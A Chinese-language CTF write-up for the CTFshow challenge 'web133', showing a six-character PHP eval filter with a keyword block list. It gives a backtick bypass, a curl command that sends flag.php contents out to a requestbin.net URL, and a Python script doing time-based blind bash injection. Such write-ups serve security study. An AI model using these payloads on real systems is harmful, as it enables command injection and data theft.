CTFshow php特性 web133
生活随笔
收集整理的這篇文章主要介紹了
CTFshow php特性 web133
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
目錄
- 源碼
- 思路
- 題解
- 0x00 解法一 curl帶出
- 0x01 解法二
- 總結
源碼
<?php/* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 16:43:44*/error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){eval(substr($F,0,6));}else{die("6個字母都還不夠呀?!");} }思路
這題長度限制是6,能執行命令的只有``,``相當于shell_exec(),是沒有回顯的 ?F=`$F`; =》 ?F=``$F`;`; //第一次的$F是php變量,第二次的$F屬于shell里的,所以不會無限套娃,里面`$F`;在shell里執行為空,linux里``也不回顯,也不存在$F變量,沒有任何輸出同理,如果超出長度限制的也會執行出來,要讓前面的長度為6才行,可以補一個空格
?F=`$F%20`; //長度為6 ?F=`$F%20`;sleep 5 //延遲5秒 =》?F=``$F%20`;sleep 5`有vps的可以curl帶出
curl your_ip:port/?q=cat flag.php| grep 'flag'
或者也可以用dnslog
這里用的是bash盲注
題解
0x00 解法一 curl帶出
工具鏈接:
https://requestbin.net/
?F=`$F `; curl https://requestbin.net/r/hesv65ex?p=`cat flag.php| grep flag | base64
base64解碼拿到flag
0x01 解法二
下面放上Y1ng寫的bash盲注腳本,不過讀flag的時候失敗了,用 base64編碼后也不行,最后用了 grep ‘flag’才正常
exp
#!/usr/bin/env python3 #-*- coding:utf-8 -*- #__author__: 穎奇L'Amore www.gem-love.comimport requests import time as t from urllib.parse import quote as urlen url = 'http://2505541e-7bbc-4055-b36b-00c8454b850e.challenge.ctf.show/?F=`$F%20`;' alphabet = ['{','}', '.', '@', '-','_','=','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']result = '' for i in range(1,50):for char in alphabet:# payload = "if [ `ls | grep 'flag' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char) #flag.phppayload = "if [ `cat flag.php | grep 'flag' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char)# data = {'cmd':payload}try:start = int(t.time())r = requests.get(url+payload)# r = requests.post(url, data=data)end = int(t.time()) - startif end >= 3: result += charprint("Flag: "+result)breakexcept Exception as e:print(e)
發現循環次數不夠 再跑了一下
總結
新姿勢
總結
以上是生活随笔為你收集整理的CTFshow php特性 web133的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTFshow php特性 web130
- 下一篇: CTFshow php特性 web134